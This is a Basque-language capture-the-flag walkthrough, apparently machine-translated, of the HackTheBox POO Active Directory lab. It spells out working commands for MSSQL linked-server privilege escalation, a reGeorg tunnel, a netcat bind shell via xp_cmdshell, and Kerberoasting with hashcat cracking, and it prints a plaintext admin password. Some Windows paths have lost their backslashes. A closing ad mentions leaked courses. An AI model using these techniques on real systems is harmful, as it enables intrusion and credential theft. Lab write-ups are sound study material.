HackTheBoxendgame. Laborategiko Eragiketa Ofentsibo Profesionalak igarotzea. Pentest Active Directory

HackTheBoxendgame. Laborategiko Eragiketa Ofentsibo Profesionalak igarotzea. Pentest Active Directory

Artikulu honetan makina bat ez ezik, gunetik mini-laborategi oso baten igarotzea aztertuko dugu HackTheBox.

Deskribapenean esaten den moduan, POO Active Directory ingurune txiki batean erasoen fase guztietan gaitasunak probatzeko diseinatuta dago. Helburua ostalari irisgarri bat arriskuan jartzea da, pribilegioak areagotzea eta, azken finean, domeinu osoa arriskuan jartzea 5 bandera biltzen diren bitartean.

Laborategirako konexioa VPN bidez egiten da. Gomendagarria da laneko ordenagailutik edo zuretzako garrantzitsuak diren datuak dauden ostalari batetik ez konektatzea, informazio-segurtasunaren alorrean zerbait dakien jendearekin sare pribatu batean amaitzen duzulako :)

Antolakuntzari buruzko informazioa
Artikulu, software eta bestelako informazio berriekin eguneratuta egoteko, sortu dut Telegram kanala и taldean edozein gai eztabaidatzeko I&KBren alorrean. Baita zure eskaera, galdera, iradokizun eta gomendio pertsonalak ere Pertsonalki aztertuko dut eta guztiei erantzungo diet..

Informazio guztia hezkuntza helburuetarako soilik aurkezten da. Dokumentu honen egileak ez du inolako erantzukizunik hartzen dokumentu hau aztertzean lortutako ezagutzak eta teknikak erabiltzearen ondorioz inori eragindako kalteengatik.

Intro

Azken joko honek bi makinaz osatuta dago eta 5 bandera ditu.

HackTheBoxendgame. Laborategiko Eragiketa Ofentsibo Profesionalak igarotzea. Pentest Active Directory

Erabilgarri dagoen ostalariaren deskribapena eta helbidea ere ematen da.

HackTheBoxendgame. Laborategiko Eragiketa Ofentsibo Profesionalak igarotzea. Pentest Active Directory

Has gaitezen!

Errekon bandera

Makina honek 10.13.38.11 IP helbidea du, nik /etc/hosts-en gehitzen dudana.
10.13.38.11 poo.htb

Lehenik eta behin, irekitako portuak eskaneatzen ditugu. Portu guztiak nmap-ekin eskaneatzea denbora luzea hartzen denez, lehenik Mascan erabiliz egingo dut. TCP eta UDP ataka guztiak tun0 interfazetik eskaneatzen ditugu 500 pakete segundoko abiaduran.

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500

HackTheBoxendgame. Laborategiko Eragiketa Ofentsibo Profesionalak igarotzea. Pentest Active Directory

Orain, portuetan exekutatzen diren zerbitzuei buruzko informazio zehatzagoa lortzeko, eskaneatu dezagun -A aukerarekin.

nmap -A poo.htb -p80,1433

HackTheBoxendgame. Laborategiko Eragiketa Ofentsibo Profesionalak igarotzea. Pentest Active Directory

Beraz, IIS eta MSSQL zerbitzuak ditugu. Kasu honetan, domeinuaren eta ordenagailuaren benetako DNS izena ezagutuko dugu. Web zerbitzarian IIS hasierako orrialdeak agurtzen gaitu.

HackTheBoxendgame. Laborategiko Eragiketa Ofentsibo Profesionalak igarotzea. Pentest Active Directory

Goazen direktorioetatik. Gobuster erabiltzen dut horretarako. Parametroetan, interesatzen zaizkigun 128 (-t), URL (-u), hiztegia (-w) eta luzapen kopurua adierazten dugu (-x).

gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html

HackTheBoxendgame. Laborategiko Eragiketa Ofentsibo Profesionalak igarotzea. Pentest Active Directory

Honek /admin direktoriorako HTTP autentifikazioa ematen digu, baita mahaigaineko zerbitzu eskuragarria den .DS_Store fitxategia ere. .DS_Store karpeta baten ezarpen pertsonalizatuak gordetzen dituzten fitxategiak dira, hala nola fitxategien zerrenda, ikonoen kokapenak eta hautatutako atzeko planoko irudia. Fitxategi hori web garatzaileen web zerbitzariaren direktorioan amai daiteke. Horrela direktorioko edukiei buruzko informazioa lortzen dugu. Horretarako erabil dezakezu DS_Store arakatzailea.

python3 dsstore_crawler.py -i http://poo.htb/

HackTheBoxendgame. Laborategiko Eragiketa Ofentsibo Profesionalak igarotzea. Pentest Active Directory

Direktorioaren edukia lortzen dugu. Hemen interesgarriena /dev direktorioa da, bertatik iturriak eta db fitxategiak bi adarretan ikus ditzakegu. Baina fitxategi- eta direktorio-izenen lehen 6 karaktereak erabil ditzakegu zerbitzua IIS ShortName-ren aurrean zaurgarria bada. Ahultasun hori egiaztatu dezakezu erabiliz IIS izen laburren eskanerra.

HackTheBoxendgame. Laborategiko Eragiketa Ofentsibo Profesionalak igarotzea. Pentest Active Directory

Eta "poo_co"-rekin hasten den testu-fitxategi bat aurkituko dugu. Gero zer egin ez nekienez, direktorioa hiztegitik "co"-tik hasten diren hitz guztiak hautatu ditut.

cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt

Eta wfuzz erabiliz konponduko dugu.

wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404

HackTheBoxendgame. Laborategiko Eragiketa Ofentsibo Profesionalak igarotzea. Pentest Active Directory

Eta hitz egokia aurkitzen dugu! Fitxategi honi begiratzen diogu, kredentzialak gorde (DBNAME parametroaren arabera, MSSQLkoak dira).

HackTheBoxendgame. Laborategiko Eragiketa Ofentsibo Profesionalak igarotzea. Pentest Active Directory

Bandera errenditzen dugu eta %20 aurreratzen dugu.

HackTheBoxendgame. Laborategiko Eragiketa Ofentsibo Profesionalak igarotzea. Pentest Active Directory

Eh bandera

MSSQL-ra konektatzen gara, DBeaver erabiltzen dut.

HackTheBoxendgame. Laborategiko Eragiketa Ofentsibo Profesionalak igarotzea. Pentest Active Directory

Datu-base honetan ez dugu ezer interesgarririk aurkitzen, sor dezagun SQL Editorea eta egiaztatu zein erabiltzaile dauden.

SELECT name FROM master..syslogins;

HackTheBoxendgame. Laborategiko Eragiketa Ofentsibo Profesionalak igarotzea. Pentest Active Directory

Bi erabiltzaile ditugu. Ikus ditzagun gure pribilegioak.

SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');

HackTheBoxendgame. Laborategiko Eragiketa Ofentsibo Profesionalak igarotzea. Pentest Active Directory

Beraz, ez dago pribilegiorik. Ikus ditzagun estekatutako zerbitzariak, teknika honi buruz zehatz-mehatz idatzi nuen Hemen.

SELECT * FROM master..sysservers;

HackTheBoxendgame. Laborategiko Eragiketa Ofentsibo Profesionalak igarotzea. Pentest Active Directory

Honela aurkituko dugu beste SQL Server bat. Proba dezagun zerbitzari honetan komandoen exekuzioa openquery() erabiliz.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');

HackTheBoxendgame. Laborategiko Eragiketa Ofentsibo Profesionalak igarotzea. Pentest Active Directory

Eta kontsultaren zuhaitz bat ere eraiki dezakegu.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');

Kontua da estekatutako zerbitzari bati eskaera egiten diogunean eskaera beste erabiltzaile baten testuinguruan exekutatzen dela! Ikus dezagun zein erabiltzaileren testuinguruan ari garen loturiko zerbitzari batean lanean.

SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');

HackTheBoxendgame. Laborategiko Eragiketa Ofentsibo Profesionalak igarotzea. Pentest Active Directory

Orain ikus dezagun zer testuingurutan egiten den eskaera bat estekatutako zerbitzari batetik gurera!

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');

HackTheBoxendgame. Laborategiko Eragiketa Ofentsibo Profesionalak igarotzea. Pentest Active Directory

Beraz, DBO testuingurua da pribilegio guztiak izan behar dituena. Egiaztatu ditzagun pribilegioak estekatutako zerbitzari baten eskaeraren bat izanez gero.

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');

HackTheBoxendgame. Laborategiko Eragiketa Ofentsibo Profesionalak igarotzea. Pentest Active Directory

Ikusten duzuenez, pribilegio guztiak ditugu! Sor dezagun gure administratzailea honela. Baina ez dute openquery bidez onartzen, egin dezagun EXECUTE AT bidez.

EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";

Eta orain erabiltzaile berriaren kredentzialekin konektatzen gara, bandera datu-base berria behatzen dugu.

HackTheBoxendgame. Laborategiko Eragiketa Ofentsibo Profesionalak igarotzea. Pentest Active Directory

Bandera hau entregatu eta aurrera jarraituko dugu.

HackTheBoxendgame. Laborategiko Eragiketa Ofentsibo Profesionalak igarotzea. Pentest Active Directory

BackTrack bandera

Lor dezagun shell bat MSSQL erabiliz, impacket paketetik mssqlclient erabiltzen dut.

mssqlclient.py ralf:[email protected] -db POO_PUBLIC

HackTheBoxendgame. Laborategiko Eragiketa Ofentsibo Profesionalak igarotzea. Pentest Active Directory

Pasahitzak lortu behar ditugu, eta dagoeneko topatu dugun lehenengo gauza webgune bat da. Horrela, web zerbitzariaren konfigurazio bat behar dugu (ez da posible shell eroso bat utzi, itxuraz suebakia martxan dagoela).

HackTheBoxendgame. Laborategiko Eragiketa Ofentsibo Profesionalak igarotzea. Pentest Active Directory

Baina sarbidea ukatu egiten da. Fitxategia MSSQL-tik irakur dezakegun arren, zer programazio-lengoaia konfiguratuta dauden jakin behar dugu. Eta MSSQL direktorioan Python dagoela jakin dugu.

HackTheBoxendgame. Laborategiko Eragiketa Ofentsibo Profesionalak igarotzea. Pentest Active Directory

Orduan ez dago arazorik web.config fitxategia irakurtzeko.

EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"

HackTheBoxendgame. Laborategiko Eragiketa Ofentsibo Profesionalak igarotzea. Pentest Active Directory

Aurkitutako kredentzialekin, joan / admin atalera eta hartu bandera.

HackTheBoxendgame. Laborategiko Eragiketa Ofentsibo Profesionalak igarotzea. Pentest Active Directory

HackTheBoxendgame. Laborategiko Eragiketa Ofentsibo Profesionalak igarotzea. Pentest Active Directory

Oinetako bandera

Izan ere, suebakia erabiltzeak eragozpen batzuk sortzen ditu, baina sareko ezarpenak begiratuta, IPv6 ere erabiltzen dela ohartzen gara!

HackTheBoxendgame. Laborategiko Eragiketa Ofentsibo Profesionalak igarotzea. Pentest Active Directory

Gehi dezagun helbide hau /etc/hosts-era.
dead:babe::1001 poo6.htb
Eskaneatu dezagun ostalaria berriro, baina IPv6 protokoloa erabiliz.

HackTheBoxendgame. Laborategiko Eragiketa Ofentsibo Profesionalak igarotzea. Pentest Active Directory

Eta WinRM zerbitzua IPv6 bidez eskuragarri dago. Konektatu gaitezen aurkitutako kredentzialekin.

HackTheBoxendgame. Laborategiko Eragiketa Ofentsibo Profesionalak igarotzea. Pentest Active Directory

Mahaigainean bandera bat dago, entregatzen dugu.

HackTheBoxendgame. Laborategiko Eragiketa Ofentsibo Profesionalak igarotzea. Pentest Active Directory

P00ned bandera

Ostalariaren azterketa egin ondoren winpeak Ez dugu ezer berezirik aurkitzen. Orduan berriro kredentzialak bilatzea erabaki zen (gai honi buruz ere idatzi nuen artikulu bat). Baina ezin izan nituen sistematik SPN guztiak WinRM bidez lortu.

setspn.exe -T intranet.poo -Q */*

HackTheBoxendgame. Laborategiko Eragiketa Ofentsibo Profesionalak igarotzea. Pentest Active Directory

Exekutatu dezagun komandoa MSSQL bidez.

HackTheBoxendgame. Laborategiko Eragiketa Ofentsibo Profesionalak igarotzea. Pentest Active Directory

Metodo hau erabiliz, p00_hr eta p00_adm erabiltzaileen SPNa lortzen dugu, hau da, Kerberoasting bezalako eraso baten aurrean zaurgarriak direla esan nahi du. Laburbilduz, haien pasahitzen hashak lor ditzakegu.

Lehenik eta behin shell egonkor bat lortu behar duzu MSSQL erabiltzaile gisa. Baina sarbide mugatua dugunez, ostalariarekin komunikazioa dugu 80 eta 1433 portuen bidez soilik. Baina posible da trafikoa 80 portutik tunel egitea! Horretarako erabiliko dugu hurrengo aplikazioa. Karga dezagun tunnel.aspx fitxategia web zerbitzariaren hasierako direktoriora - C:inetpubwwwroot.

HackTheBoxendgame. Laborategiko Eragiketa Ofentsibo Profesionalak igarotzea. Pentest Active Directory

Baina bertara sartzen saiatzen garenean, 404 errore bat jasoko dugu. Horrek esan nahi du *.aspx fitxategiak ez direla exekutatzen. Luzapen hauek dituzten fitxategiak exekutatu ahal izateko, instalatu ASP.NET 4.5 honela.

dism /online /enable-feature /all /featurename:IIS-ASPNET45

HackTheBoxendgame. Laborategiko Eragiketa Ofentsibo Profesionalak igarotzea. Pentest Active Directory

HackTheBoxendgame. Laborategiko Eragiketa Ofentsibo Profesionalak igarotzea. Pentest Active Directory

Eta orain, tunnel.aspx sartzen garenean, dena prest dagoela erantzuna jasotzen dugu.

HackTheBoxendgame. Laborategiko Eragiketa Ofentsibo Profesionalak igarotzea. Pentest Active Directory

Abiarazi dezagun aplikazioaren bezeroaren zatia, trafikoa bideratuko duena. Trafiko guztia 5432 atakatik zerbitzarira birbidaltuko dugu.

python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx

HackTheBoxendgame. Laborategiko Eragiketa Ofentsibo Profesionalak igarotzea. Pentest Active Directory

Eta proxykateak erabiltzen ditugu edozein aplikazioren trafikoa gure proxy bidez bidaltzeko. Gehi dezagun proxy hau /etc/proxychains.conf konfigurazio fitxategira.

HackTheBoxendgame. Laborategiko Eragiketa Ofentsibo Profesionalak igarotzea. Pentest Active Directory

Orain karga dezagun programa zerbitzarira netcat, eta horrekin lotura-shell eta script egonkor bat sortuko dugu Invoke-Kerberoast, eta horrekin Kerberoasting erasoa egingo dugu.

HackTheBoxendgame. Laborategiko Eragiketa Ofentsibo Profesionalak igarotzea. Pentest Active Directory

Orain entzulea MSSQL bidez abiarazten dugu.

xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321

HackTheBoxendgame. Laborategiko Eragiketa Ofentsibo Profesionalak igarotzea. Pentest Active Directory

Eta gure proxy bidez konektatzen gara.

proxychains rlwrap nc poo.htb 4321

HackTheBoxendgame. Laborategiko Eragiketa Ofentsibo Profesionalak igarotzea. Pentest Active Directory

Eta lor ditzagun hashak.

. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt

HackTheBoxendgame. Laborategiko Eragiketa Ofentsibo Profesionalak igarotzea. Pentest Active Directory

Ondoren, hash hauen gainean errepikatu behar duzu. Rockyou hiztegian pasahitz hauek ez zituenez, Seclists-en emandako pasahitzen hiztegi GUZTIAK erabili ditut. Bilaketa egiteko hashcat erabiltzen dugu.

hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force

Eta bi pasahitzak aurkituko ditugu, lehenengoa dutch_passwordlist.txt hiztegian, eta bigarrena Keyboard-Combinations.txt-en.

HackTheBoxendgame. Laborategiko Eragiketa Ofentsibo Profesionalak igarotzea. Pentest Active Directory

HackTheBoxendgame. Laborategiko Eragiketa Ofentsibo Profesionalak igarotzea. Pentest Active Directory

Eta, beraz, hiru erabiltzaile ditugu, goazen domeinu kontrolagailura. Lehenik eta behin bere helbidea ezagutuko dugu.

HackTheBoxendgame. Laborategiko Eragiketa Ofentsibo Profesionalak igarotzea. Pentest Active Directory

Bikaina, domeinu-kontrolatzailearen IP helbidea aurkitu dugu. Ikus ditzagun domeinuaren erabiltzaile guztiak, baita haietako administratzailea zein den ere. PowerView.ps1 informazioa lortzeko scripta deskargatzeko. Ondoren, evil-winrm erabiliz konektatuko gara, -s parametroan script-a duen direktorioa zehaztuz. Eta gero PowerView script-a kargatuko dugu.

HackTheBoxendgame. Laborategiko Eragiketa Ofentsibo Profesionalak igarotzea. Pentest Active Directory

Orain bere funtzio guztietarako sarbidea dugu. p00_adm erabiltzaileak erabiltzaile pribilegiatu baten itxura du, beraz, bere testuinguruan lan egingo dugu. Sor dezagun PSCredential objektu bat erabiltzaile honentzat.

$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass

Orain Creds zehazten ditugun Powershell komando guztiak p00_adm gisa exekutatuko dira. Erabiltzaileen zerrenda eta AdminCount atributua bistaratu ditzagun.

Get-NetUser -DomainController dc -Credential $Creds | select name,admincount

HackTheBoxendgame. Laborategiko Eragiketa Ofentsibo Profesionalak igarotzea. Pentest Active Directory

Beraz, gure erabiltzailea benetan pribilegiatua da. Ea zer taldetan dagoen.

Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds

HackTheBoxendgame. Laborategiko Eragiketa Ofentsibo Profesionalak igarotzea. Pentest Active Directory

Azkenean, erabiltzailea domeinu-administratzailea dela baieztatzen dugu. Horrek domeinu-kontrolatzailean urrunetik saioa hasteko eskubidea ematen dio. Saia gaitezen WinRM bidez saioa hasten gure tunela erabiliz. Evil-winrm erabiltzean reGeorg-ek sortutako akatsekin nahastu nintzen.

HackTheBoxendgame. Laborategiko Eragiketa Ofentsibo Profesionalak igarotzea. Pentest Active Directory

Orduan, erabil dezagun beste bat, errazagoa, gidoia WinRMra konektatzeko. Ireki eta alda ditzagun konexio-parametroak.

HackTheBoxendgame. Laborategiko Eragiketa Ofentsibo Profesionalak igarotzea. Pentest Active Directory

Saiatzen gara konektatzen, eta sisteman gaude.

HackTheBoxendgame. Laborategiko Eragiketa Ofentsibo Profesionalak igarotzea. Pentest Active Directory

Baina ez dago banderarik. Ondoren, begiratu erabiltzaileari eta begiratu mahaigainak.

HackTheBoxendgame. Laborategiko Eragiketa Ofentsibo Profesionalak igarotzea. Pentest Active Directory

Bandera mr3ks-en aurkitzen dugu eta laborategia %100 osatuta dago.

HackTheBoxendgame. Laborategiko Eragiketa Ofentsibo Profesionalak igarotzea. Pentest Active Directory

Hori da dena. Iritzi gisa, komentatu artikulu honetatik ezer berririk ikasi duzun eta erabilgarria izan zaizun.

Gurekin bat egin dezakezu Telegrama. Bertan material interesgarriak, filtratutako ikastaroak eta softwareak aurki ditzakezu. Bildu dezagun komunitate bat, non IT-aren arlo asko ulertzen dituen jendea egongo den, gero beti elkarri lagundu ahal izango diogu IT eta informazioaren segurtasun-arazoetan.

Iturria: www.habr.com

Gehitu iruzkin berria